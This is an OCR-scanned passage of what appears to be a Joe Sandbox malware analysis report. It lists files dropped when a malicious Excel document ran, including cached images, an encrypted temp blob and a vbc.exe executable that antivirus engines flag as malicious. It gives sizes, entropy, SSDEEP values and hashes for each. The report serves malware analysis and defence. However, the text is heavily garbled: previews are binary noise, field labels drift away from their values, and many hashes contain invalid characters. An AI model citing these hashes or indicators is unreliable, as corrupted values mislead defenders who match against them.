MD5: 63ED10C9DF764CF12C64E6A9A2353D7D
SHAL: 608BEOD9462016EA4F05509704CE85F3DDC50E63
SHA-256: 4DAC3676FAA787C28DFA72B80FES42BF7BESB6AAD31243F63E78386BC5F0746B3
SHA-512: 9C633C57445D67504E5C6FE4EAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EFO01A98CF6C585D439B4A
Malicious: false
Reputation: moderate, very likely benign file
Preview:
PNG.......IHDR............. L.l... IDATX..g.1y&X".{;t@F. .. .D*Q.el.#[.5~IK3...2.3.gW...".=;.FV..%..d..%R. E.....F.ts<.X..f..F..5]..5..UL.W.U.....9..A..U/...g.W......IX...pG..2..

X Wl wpGl2ox.w.tma>. LR XJU[LA....]LY.L.L..JAQ.h4. .. x.\6....[.i..]..Q..(...C.A.Z... (jf4..u=.0.D.0j....y6....)l.....G{zn.M,..7#......|...y....G.LOO..?....7 .-

S M q.0}.G...7... 3g..10..x...].../[F....0.._|...2.0..........c. X _.TVF..0.... B> .. H.V..P(....c....4..5.. . KK.S"C(.... .0 _Zo JLy<< AT LK

rW~.Co_....$JiiW_~ee _Wp....Qed G.VAD.E....".2.. . nw. . AN42 £..Q(.$... (vidd..8.....y.Z{.. L~.. k...z...@@O0...Bk..?2.r.7..9u..w>w.C.j.n..a.V.?.2..e
s#.G...1.&l.)..).J. > AMnAW.._...D.. "} KL BIN_ V. > y.@O0.. ... > ZJo /3....2.2.9.Z..I0LS..._.Ir

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B2337C9.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 68702

Entropy (8bit):  7.960564589117156

Encrypted: false

SSDEEP: 1536:Hu2p9Cy+445sz12HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9wlHCIOTKEhQw
MD5: 9B8C6AB5CD2CC1A2622CC4BB10D745C0

SHAL: E3C68E3F16AE0A3544720238440EDCE12DFC900E

SHA-256: AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FEO
SHA-512: 407F29E5F0C2F993051E4BOC81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC71
Malicious: false

Reputation: moderate, very likely benign file

Preview:

..d2Y@9 @c.v..8P...0"..
(....d.3*.E.=...[0...0...n..._{.-.M.3....px

o0V +.~0BH.|..8...
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https://www.metadefender.com/#!/results/file/bzIxMTEyNWpDU3ExM0dOaUg3MS01ekc0aFk/regular/analysis

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\25CF4E4A.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced
Category: dropped

Size (bytes): 6364

Entropy (8bit):  7.935202367366306

Encrypted: false

SSDEEP: 192:joXTTTt+cmcZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfTeDEGXDR

MDS5: ATE2241249BDCCOCE1FAAF9FAD5C32AF

SHA1L: 3125EA93A379A846B0D414B42975AADB72290EB4

SHA-256: EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

SHA-512: A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT72277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

Malicious: false

Preview:
.PNG ..S....sRGB......... gAMA......a.....pHYs......... o.d...tEXtCreation Time.2018:08:27 10:23:35Z......DIDATX"....M......3c0f0.2.90....... S AYAR YA

.MEJA$G.T.AJJN....0. .B..g=...{.51..[gz.Y._..3K.Yerocreeeu @JD...)..KQ......... f.DD.1....@JD...)..K..DD.1.....@JD...)..K..DD.1.....@JD...)..K..DD.....9.sdKV.\.R[...k...E
.3...ee..WI...E&6.\]..'K...x.0..%.EE.."..}..[c....72n..R..V.USLRt..-xw*.... #..._. ..eKN.....9...{%.....*7..6Y.."....P...."ybQ....0J'z..%..a.$<m.n"..[.fO~..I.
.mu?ee 9. 11={t]...). k. . F@P|f...9.. K> {..}..h9.b.h.. .w... A~ .u.].
tP.e..-+*. L\ Yrss4 i f A7 .u.M...v.uY_.V|.].-Oo........... _s@c... [ R7T>ALS.{W.iV..UR..SJ.hy.W3..2Q@¥f......,.....

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\29F275C3.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 10202

Entropy (8bit): 7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBF0o46X6nPHvGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b740lylZ+c5xIYF5Sgd7tBednd

MD5: 66EF10508ED9AE9871D59F267FBE1SAA

SHA1L: E40FDB09F7FDAG69BD95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD

SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B3|

Malicious: false

Preview:
PNG........ IHDR.......coo. |....sRGB......... gAMA.....a....pHYs.......... 0.d..'0IDATX K...u.D.R.b\J"Y *.".d.|pg..2.r,. U#)F.K.n.).JN)." T HL L A<LKL.DQ L (R > s tw.
> UL>sl LM P, ZH3y.. < [..@l......... Z E...Y{.,.<y.x..O0... O 7/ SN v e R '0..kh.0./.3.7.V...@t........ Xevon™hA2WL..@...ATLO/N.
Ah....D...M.B.aja.aim..D...M.B.ajaa...... AJh.0....P41..-....... &1.1x. ST 2un.....F7[.z.2...&.gF}L} L+ dwe~Aw... V. .-.....B, W.5. Py...>

[...q.t6U<.@....qE9.NT.u....AY.?..Z<.D.t..HT.A....8.)..M..K\..v.....A..2.N.Z<.D.t.HN.0.SO...0.WF.. W.#H..Ip....h...| V+Kws2/.....W¥....Q.,...8X.)c...M..H.|.h.0... R..
Mg!..B..X..;....Q.5.......M.;.Q./9..€"{Y.P..1X...FBL...C.G......41........@!@W......B/.n.b..w..d...KE..& %|.4SBt.E?.m...eb*?....@.....a . +H..Rh..

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\34C7D190.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 10202

Entropy (8bit):  7.870143202588524

Encrypted: false

SSDEEP: 192:hxKBF046X6nPHVGePo6ylZ+c5xIYYY5spgpb75DBcld7jcnM5b:b7401ylZ+c5xIYF5Sgd7tBednd
MD5: 66EF10508ED9AE9871D59F267FBE15AA

SHA1L: E40FDB09F7FDAG69BD95249A76D06371A851F44A6

SHA-256: 461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1EO0E16C149A006FD
SHA-512: 678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEBS5C3648B3(
Malicious: false

Preview:

JH. L A<LKL.DQM ] (RI.>s. tw.
> . U..>sl 1M p.. Xewore~ AW @...ATNLOL/N.
Ah.....D...M.B.aja.a.im..D...M.B.alaa........ AJh.0.....P41..-........ &L X (e e.a:.+.|UtU_ ... 2un.....F7[.z.2..&.qF}} L+ Jw~Aw... . V..-....B, W.5..Py...>
[...0.t6U<.@....qE9.nT.u...".AY.?..Z<.D.t..HT..A....8.)..M..k\..v..."..A..2.N.Z<.D.t.Htn.0.50...0.WF..W.#H...Ip....h... . V+Kws2/.....W*....Q.,...8X.)c...M..H.|.h.0...R..
Mg!..B..X.;....Q..5..ce. m.;.Q./9..e"{Y.P..1x...FB!...C.G......41......... @t@W......B/.n.b..w..d... KE..&.%I.4SBt.E?..m...eb*?....@.....a . +H...Rh..

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3C46ACE8.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 600 x 306, 8-bit colormap, non-interlaced

Category: dropped

Size (bytes): 42465

Entropy (8bit): 7.979580180885764

Encrypted: false

SSDEEP: 768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJIctLo63a8dydV+3WOa+90sZsSyMs+
MD5: C31D090D0B6B5BCA539D0OE9DBOC57026
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\3C46ACE8.png

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886
687AFECEEGEGE286714FD267EOF6AC74BCA9AC6469F4983C3EF7168C65182C8D

B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICFSECE43A82BD8F06383876B24
56

false

............................................. >Jg.....h.m...........l....gjG.9\LC....
tRNS.@..f...0IDATX..Z.s.4.]..".F..Y.5.4]..WhiM..]Cv.Q......e.
X....~.X.0.%K. ... X.....brG..sW:~g.Tu...U.R..W.V.U#TAr?..?}.C3.K...P..n..A..av?C..J.}.e.]...CA._y.. 2NZ2.0.@......)...s.(...ey....{)e.*]\-.yG2Ne.B...\@q....8....W./i
.C.P*.0.e. 7/ .k.t..]"[.F..}y...0.3.0).Z.tRbU]BY..RNR....D*. ... =(tL.W.y....n.\.s..D.5.....c....8A....;;.)..].a]...;B0...B.0&@*.+..2..4....-X.>)..h~.J..".nO=VV.
t..q..5....fh.....DPyJ*. . E......K ....E.%i..C.V.\......2z~r7.V...q."....3..E3J8Ct.Z.l.GI.).R'b

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MS0\4950562D.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

dropped

11303

7.909402464702408

false
192:064BSHRaEbPRI3iLtFObLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUIjBswpJuaUSt:ODy31IAjObL/EKVIKVFgFgeUUjOmJIN
9513E5EF8DDC8BODIC23C4DFD4AEECA2

E7FC283A9529AA61F612EC568F836295F943C8EC
88A52F8A0OBDE5931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC
81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢

IHDR.............. P.l...sRGB......... gAMA......a....pHYs...t..t.f.X. . +.IDATX...|.e........... {.....2.Y8..DI*E.4*6.@.$$....+.T.H/.M6..RH.LR.IAC...>3;3;..4..~..>3.<.<..7.
c..x0.Z.X.J...Lhv.u.q..C..D......-... cSoH= L ((HIJRs..05...2m R..Gs...G.3.z. (..18..)..[..c&t..ZHv..5....3#..~8...
Yo .2..2.0.tR}ZI.." &.....10.UmK..N.8..C...[.\...GAy.U....N.....eff... _A...Z.b.YU...M.jvC+\.gu..0v..5.. fo....."....w..y...O.RSS. Ac.J...ku$._...Av..Z..*Y.0.
Z.zZMsIT...<.q....a. $2.=].0.0..Av..j....h..P.Nv......,.0....z=...1@8m.h.;]..B.q.C. G\.."L.0..[)..Z.Xud.pE..Q.u... $[K..2....zM=".p.Q@.0.LA../.%.... EFsk:z...9
z...>z H{{{ConiXbol K2, Cl 40 LG plf6A e Qs W.[..s.g+e..|..(...aY.yX... .}..n.u..8d...L....B."zuxz..A..m;p..(&&....

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\6ED27E1E.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced

dropped

68702

7.960564589117156

false
1536:Hu2p9Cy+445s212HNOFIr0Z7gK8mhVgSKe/6mLsw:02p9w1HCIOTKEhQw
9B8C6AB5CD2CC1A2622CC4BB10D745C0
E3C68E3F16AE0A3544720238440EDCE12DFC900E
AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFDI5506FEQ
407F29E5F0C2F993051E4B0OC81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FCT71!

false

..pHYs.... tIME......&...T...tEXtAuthor....H... tEXtDescription...l#... tEXtCopyright....:...
.......tEXtWarning. tEXtSource. AEX(Title....".. .IDATX...y|T.?..1.3. .$.D..(v....
QV..-Q9...\"™™ ™™ HY Y. *.v. 7. "t e..n@78.{Q.S.HDDDDDDDD.. .\bxHDDDDDDDDD.1<$""""
g vtbi_.0....82.5 .U.Mp"....Z8.&,.B.."..y..IN....e }+M.K..M..A.7.Z[[E....B..NnF.:5.." (-..d.3%.E.=..[0...0....N....
LN X, and.0 M#Et S TLALBPAXX(. d.. U f 8 [ 9R VD5 A a.....86......5.0.n7...........0..V..+.~.0B.H..|.8...

C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7441E635.emf

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Windows Enhanced Metafile (EMF) image data version 0x10000

dropped

498420

0.6413684157450645

false
384:AigmXXwBKNWZ3cJuUvmWnTG+W4DH8ddxzsFfW3:04XwBkNWZ3cjvmWa+VDO
C3B5DFF8BIEE127AD59D202832626865
1A24D45E300CEAEFO01DADD2D8F6EAF147DC6404F
EEDBFD16A5391148EE0D9436C7F279792F44287B5C1B209EC08F2C1FFIDF5540
D22486A87C5ADD06AIBCA4F17801AC62847F36AF588C0E8D742FA7B694679BA3A44B1074E56C2E8FBAG2392EE287F3A3359218257087BA6FFBEE18201DEA9DOB

false
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7441E635.emf

Preview:

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\8CED6B0B.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 338 x 143, 8-bit/color RGBA, non-interlaced

dropped

6364

7.935202367366306

false
192:joXTTTt+cmcZjbF/z2sA9edfxFHTeDELXEXDR:joXTTTEC5ZjR/zI9EfiTeDEGXDR
ATE2241249BDCCOCE1FAAF9FAD5C32AF
3125EA93A379A846B0D414B42975AADB72290EB4
EC022F14C178543347B5F2A31A0BFB8393C6F73C44F0C8B8D19042837D370794

A5A49B2379DF51DF5164315029A74EE41A2D06377AA77D24A24D6ADAFD3721D1B24E5BCCACT2277BF273950905FD27322DBB42FEDA401CA41DD522D0AA3041
C

false

PNG........ IHDR...R........... S....sRGB......... gAMA......a....pHYs......... o.d...tEXtCreation Time.2018:08:27 10:23:35Z......DIDATX"....M...... 3c0f0.2.90....... -y,
.MEJA$G.T.AJJN....0. .B..g=...{.51..[.g.z.Y._..3K.Yeorrerreen @JD...)..KQ......... f.DD.1....@JD...)..K..DD.1.....@JD...)..K..DD.1.....@JD...)..K..DD.....9.sdKV.\.R[...k...E
.3...ee..WI...E&6.\]..'K..x.0..%.EE..".. }..[c....2n..R...V.USLRt..-xw*.... #..._.... L..k!". H...eKN...9..{%....*7.6Y."...P..."ybQ...J)z.%. a$<m.n".[fO~.r..... -.g...

QuU.r .qZ...&.{....$..‘.Lu..]ZN.].k|.2.3....H.../...k71>y.D...7x ........... =.u.?ee.9..11:={]....). k...F@PIf....9..K>..{..}...h9.b..h...w... A~ u.j.
/.=3C.6k.]...JD......tP.e..-+*. }.\Yrss4..i.f . A7l..uM...v.uY_.\V|.].-Oo........... _s@c.... [ R7T>ALS.{W.V..UR..SJ.hy.W3...2Q@f......,.....

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\A43ECEB2.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced

dropped

11303

7.909402464702408

false
192:064BSHRaEbPRI3ILtFObLLbEXavIkkTx5QpBAenGIC1bOgjBS6UUIjBswpJuaUSt:ODy31IAjObL/EKVIKVFgFg6UUIjOMJIN
9513E5EF8DDC8BOD9C23C4DFD4AAEECA2

E7FC283A9529AA61F612EC568F836295F943C8EC
88A52F8A0BDES931DB11729D197431148EE9223B2625D8016AEFOB1A510EFFAC

81D1FEOF43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F6134¢
D

false

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\C2B50451.png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office lL4\EXCEL.EXE

PNG image data, 600 x 306, 8-bit colormap, non-interlaced

dropped

42465

7.979580180885764

false
768:MUC94KctLo6+FkVfaapdydSo7CT3afPFUaV8vITIzsrZsQ54kvd8gjDsss2Ur6:MJIctLo63a8dydV+3WOa+90sZsSyMs+
C31D090D0B6B5BCA539D0E9DBOC57026

DOOCEE7AEE3C98505CDF6A17AFOCE28F2C829886
687AFECEEGE6E286714FD267E0F6AC74BCA9AC6469F4983C3EF7168C65182C8D

B23CA96097C2F5ED8CC251C0D6A34F643EE2251FDF3DEF6A962A168D82385CFEE2328D39FF86AADEASEDBBF4D35882E6CDICFSECE43A82BD8F06383876B24
56

false

............................................. >Jg.....h.m............l......qjG.9\LC....
tRNS.@..f.. OIDATX..Z.5.4.]..".F..Y.5.4]..WhiM.]Cv.Q......e.
2/M2Z2.0.@.....)...s.(...ey...{)e.*]\-.yG2Ne.B...\@q....8....W./i
..0°.3..9.)..Z..tR.bU]B.Y..RiAR...D*.. .. =(tLW.y...n\s.D5....c...8A...:;.)..].a]..;B0..B.0&@* +..2..4...-X.>)..h~.J..".nO=VV.
....E.%i..C.V.\......z r7.V...q."...3..E3J8Ct.Z.l.GI.).R'b

X.oo~X.0.%K. ... X.....brG..sW:~g.Tu...U.R..W.V.U#TAr?..?}.C3.K...P..n..A..av?C..J.}.e.]...CA._y..
.C.P*.O.e.7l.k.t.][.F..y
t..q..5.....h.....DPyJ*..E.....K
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C:\Users\user\AppDatal\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\CFDE5B87.png

Process: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced
Category: dropped

Size (bytes): 14828

Entropy (8bit):  7.9434227607871355

Encrypted: false

SSDEEP: 384:zI1ZYVvfv3ZOxvHe5EmIbliA2riIBMWWTXRRO/QX:Td3Z46xiXzW/kO

MD5: 58DD6AF7C438B638A88D107CC87009C7

SHA1L: F25E7F2F240DC924A7B48538164A5B3A54E91AC6

SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67AOCACABA453A

SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80°

Malicious: false

Preview:
PNG........ IHDR............. L.l... IDATX..gp\.y>~V..WTb... ...M.H...d.J..3. 8 (L&IM.d.0..$. 4D ...k,J.b3%QDLBL,......... p ........... {.90..W.q.Y.gM.g=.5"dm.V..M.. ><
6...9=.R(.N"0&I(..B2.\...|t...R.T......J..Q.U....F.I.B\..B.Z-...D").., .. . | (ccc V....al6KQ...000...d.fxx..k .
NASN...e2............ b..7..8@.tgg.}.. Ue7 .G ..J.d2)..BIM..I..T*Q.%..X z..*abbB* j\J(b B R...L&.X.eYV". .- R)B.T*M&..pX*.Z..9.. F
Z2.6...b\./%..~...).B<.T*z.D"..(.\...d2YKKK..mm.T*. . T*..1$.x<..J..q..*.J X O> .C.d2Jl......#...xkk.B.(....D 8 £..0>VC%MNN].ZHZ... . T....,. A 1$.q.\f....eY..8.+..
.. dd.b.X,.BH.T..4-. X.EV.|&.p....... 0.P(.J.\>66.a.X,..><<..V.R.T*...d2,;v....W.511.u.a...."."...zKk.m.t:]__...0gQ9.0....cc0erven Y.z.a... {..%.H..f...nw*... .ND"...P(D"... .H.
[>/.Hd2...EQ.

C:\Users\luser\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\D55D75BF.png

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 19408

Entropy (8bit):  7.931403681362504

Encrypted: false

SSDEEP: 384:6L3VdodyxL8FNgQ9jYtUO5Zn4tlQ1Yes7D6PhbXngFfZdQTEfn4n6EVPBo6a:2exL8rgQ2tVF4GIQUUZXnYfTs6EJIL

MD5: 63ED10C9DF764CF12C64E6A9A2353D7D

SHA1L: 608BEOD9462016EA4F05509704CE85F3DDC50E6G3

SHA-256: 4DAC3676FAA787C28DFA72B80FES42BF7BES6AAD31243F63E78386BC5F0746B3

SHA-512: 9C633C57445D67504E5C6FE4EAOCD84FFCFECFF19698590CA1C4467944CD69B7E7040551A0328F33175A1C698763A47757FD625DA7EF01A98CF6C585D439B4A

Malicious: false

Preview:
PNG........ IHDR............. L.l.. .IDATX..q.].y&X"..{;t@F. .. .D*Q.el. #[.5~IK3...z.3.gw...".=;.FV..%..d..%R..E......F.ts<.X.f.F.5]..s..ULW.U...L 9. A u/..g.w.....IX...pG..2..
Xaw.lowpG.2.x.w.l...ma>..R.... XJU[LA....].Y.L.L..JAQ.h4.. . x.\6....|.i..]..Q..(...C.A.Z... (.f4..u=..0.D.0j....y6....)l....... G{zn.M,..?#..,...|....y...G.LOO..?...7..-

S M q.0}L.G...7... 3g..10..x...]../[F....0.._|..2.0...ccc...C. X TVF.0.... B> UL VP e ds KK (o J0 e _Z0 LY << L <UAT LK
rW~.C_n$Ji W~ _Wp...q........ G.vVADE...."..? Jnvv. AN42 5L.Q(L$.. (vidd. 8.y Z . L~ K...2...@@0...BK..2.r..7..9u..w>w.C..j.n.a.V.?.2..e
st#.G...1.&l.)..). . > AMnAW.._...D.. Y KL BINL >y @0 > 2] /3....2.2.0.Z...I0LS...._.Ir

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content. MSO\DBA4EB36.png

Process: C:\Program Files\Microsoft Office\Office I4\EXCEL.EXE

File Type: PNG image data, 130 x 176, 8-bit/color RGB, non-interlaced

Category: dropped

Size (bytes): 14828

Entropy (8bit):  7.9434227607871355

Encrypted: false

SSDEEP: 384:z1Z2YVvfv3ZOxvHe5EmIbliA2r1BMWWTXRRO/QX:Td3Z46xiXzW/kO

MD5: 58DD6AF7C438B638A88D107CC87009C7

SHA1L: F25E7F2F240DC924A7B48538164A5B3A54E91AC6

SHA-256: 9269180C35F7D393AB5B87FB7533C2AAA2F90315E22E72405E67A0CACABA453A

SHA-512: C1A3543F221FE7C2B52C84F6A12607AF6DAEF60CCB1476D6D3E957A196E577220801194CABC18D6A9A8269004B732F60E1B227C789A9E95057F282A54DBFC80°

Malicious: false

Preview:
PNG...... IHDR............. L.l.. IDATX..gp\.y>~V..WTb... ....M.H...d.J..3.8.(.L&IM.d.0..$..q.D.I.....k,J.b3%QD! Bt,......... p.t...x?"...{.90..W.q.Y.gM.g=.5"dm.V..M...iX..
6...0=.R(.N"0&I(..B2.\...|t....R.T......J...Q.U...[F.I.B\..B.Z-...D")..,.J .....u..l.#....A.P.l..!...3.Ul....RI..9....:..~..r..N ..... Je,...l.(.CCC...v....al6KQ...000...d.fxx..k"...5.
NAS.N..e2............ b..7.8@.tgg.}..Ue7..e.G .".J.d2)..BIM..I. T*Q.%. X......{......q.\,.E" *abbB*.. j\J.(b.oe > R...L&.X.eYV".-R)B.T*M&..pX*|.Z..9..F.
Z2.6..b\/%..~...).B<.T*z.D"..(.\.d2YKKK..mm.T* L. T*.I$.x<..J..q..*.J .X..0>...C.d2.JI...;... #...xKk.B.(....D .8..t:..0>....VC%MNN]j.ZHZ....". T....,..A...I$.q.\f....eY..8.+..
. dd.b.X,.BH.T..4-. X.EV.|&p.......0.P(J\>66.a.X,..><<...V.R.T*..d2.v...W.511.u.a..."....ZKk.m.t:|__...99g.0............ Y.z.a..{.%H.f.nw.... 'ND"...P(D"... .H.
|>/Hd2....EQ.

C:\Users\user\AppData\Local\Temp\aeu4t4jz55fz E

Process: C:\Users\Public\vbc.exe

File Type: data

Category: dropped

Size (bytes): 217157

Entropy (8bit):  7.993801883377394

Encrypted: true

SSDEEP: 3072:Z5rcoq1ha08cJOqo7x8js2mUulYOIE3eDrQ6vm3SqCc5Z3vTwZbImAWW:MZWOr2mjKUuGrQXigCwB0ZmAWw

Copyright Joe Security LLC 2021 Page 20 of 31



MDS5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Joe Sandbox
View:

Preview:

8B2633BD722157554485B344223F7AB0

9D052A1F1AD4B8B603FEB19F4B6538FD174A57E7

72D2A78BEE650F416FBC21B150AEACAGB209354EF04E440E866FBOOESF1E4CF4

B010278B624C56D4A657633EF42DCB7872A8B8E9E069C7 CFFIE3F920263B0B2049D083F7E42BB3B79810EAFB333CFFD13471C8B393111297EE4AD9EF38E34E99¢

false

DA ~.Q.&65Z...AM.9..... Z.....0(_*..idn...E.. NZ.U6.L.._%qJ..0B..P..u.7.mO0.V.......qz]_X.fm....u..........$....6.c..6m2 R.+.%.H... }..B...C.,. .N3~KA..<. .3
#..J32.0@..#.6.#.Y VC . T..Sp..>IMD.....\..ikeb..D.1Im .....))..%.:..5As..4M.9....Z.....O(._*..idn...E}..@.8Q...[. *...2.[9....7)..6.. 8MWAX. | .......M..... . A.5.&.C.1.Z,.%5.

AxUel A=l>eke, db.NLDbALL M. e 3@...@. .Y VCALT.Lp.. > D -ktb DL L)% ASLAMLO. L Z...0(._*..idn.. . E}..@1.8Q.../.*...2..[9....7)..6...8r
n.w.tx. .m......As.&.C.1.Z,. %5 . x.U... . ..NL.UbAM].M........e.3..9@...#.."Y.vC ..T...p..>1.D.. LO(_*i
dn..Ej.@1.8Q.../.%...2..[9....7)..6...8rn.w.tx."|

v i

C:\Users\Public\vbc.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

112640

6.281670409201876

false
1536:PxDm0dxnCMCN2fIHUJ+0ttATO606H}J33chbu3jwKTYvsu0f2T2R+usephtcOo4L:Z0YGJINP6ophaTweYIAs+use/pMIr9
A55CE7F1CF8DF8B06A15140A3E9E3F9B

5F787501F1D8B2A93D1DF6D5C91CDEODD2BA14CE
B6A12BC611F92D3D793CE5C3CICFF8A906CA96BD6B1D5CODABEBFI080FF4428A
544823425EE681ACF6FAO08CEB4AG4840A16317573F2D6B6C6E4559199164D92C3F599521AEA245340CC6C756ED808C1FAE2C131239BFDC67EE9AE376AEF8BA4
true

e Antivirus: Joe Sandbox ML, Detection: 100%
e Antivirus: ReversingLabs, Detection: 41%

e Filename: vbc.exe, Detection: malicious, Browse

C:\Users\luser\AppData\Local\Temp\~DF1395079B79D3B049.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office l4\EXCEL.EXE

data

dropped

512

0.0

false

3

BF619EACOCDF3F68D496EA9344137E8B
5C3EB80066420002BC3DCC7CA4ABGEFAD7EDAAES
076A27C79E5ACE2A3D47FIDD2ES3E4FF6EA8872B3C2218F66C92B89B55F36560

DF40D4A774E0B453A5B87C00D6FOEF5D753143454E88EES5F7B607134598294C7905CCBCF94BBC46E474DB6EB44ES6A6DBB6D9A1BEID4FB5D1B5F2D0C6ED34
FE

false

C:\Users\user\AppData\Local\Temp\~DF927638A277FFF96D.TMP

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Program Files\Microsoft Office\Office LA\ EXCEL.EXE

data

dropped

512

0.0

false

3

BF619EACOCDF3F68D496EA9344137E8B
5C3EB80066420002BC3DCC7CA4AB6EFAD7EDAAES
076A27C79E5ACE2A3D47F9DD2ES3E4FF6EA8872B3C2218F66C92B89IB55F36560

